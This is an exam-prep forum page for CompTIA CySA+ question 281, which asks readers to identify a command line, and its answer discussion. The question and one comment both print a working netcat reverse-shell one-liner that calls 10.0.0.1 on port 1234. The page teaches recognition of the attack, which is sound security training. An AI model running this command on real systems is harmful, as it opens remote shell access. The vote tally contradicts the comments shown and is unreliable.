exam questions

Exam CS0-003 All Questions

View all questions & answers for the CS0-003 exam

Exam CS0-003 topic 1 question 281 discussion

Actual exam question from CompTIA's CS0-003
Question #: 281
Topic #: 1
[All CS0-003 Questions]

A security analyst detected the following suspicious activity:

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f

Which of the following most likely describes the activity?

  • A. Network pivoting
  • B. Host scanning
  • C. Privilege escalation
  • D. Reverse shell
Show Suggested Answer Hide Answer
Suggested Answer: D 🗳️

Comments

Chosen Answer:
This is a voting comment (?). It is better to Upvote an existing comment if you don't have anything to add.
Switch to a voting comment New
Cyde
2 months, 3 weeks ago
Selected Answer: D
sh -i = always reverse shell
upvoted 2 times
...
ChopSNap
5 months, 1 week ago
Selected Answer: D
The provided command sequence is indicative of creating a reverse shell. Here's a breakdown of the command: bash rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f rm -f /tmp/f: Removes the file /tmp/f if it exists. mknod /tmp/f p: Creates a named pipe /tmp/f. cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f: Pipes the input from the named pipe to /bin/sh (starting an interactive shell), redirects the shell's input and output through netcat (nc), which then connects to the IP address 10.0.0.1 on port 1234, and sends the shell's output back through the named pipe.
upvoted 3 times
...
Community vote distribution
A (35%)
C (25%)
B (20%)
Other
Most Voted
A voting comment increases the vote count for the chosen answer by one.

Upvoting a comment with a selected answer will also increase the vote count towards that answer by one. So if you see a comment that you already agree with, you can upvote it instead of posting a new comment.

SaveCancel
Loading ...
exam
Someone Bought Contributor Access for:
SY0-701
London, 1 minute ago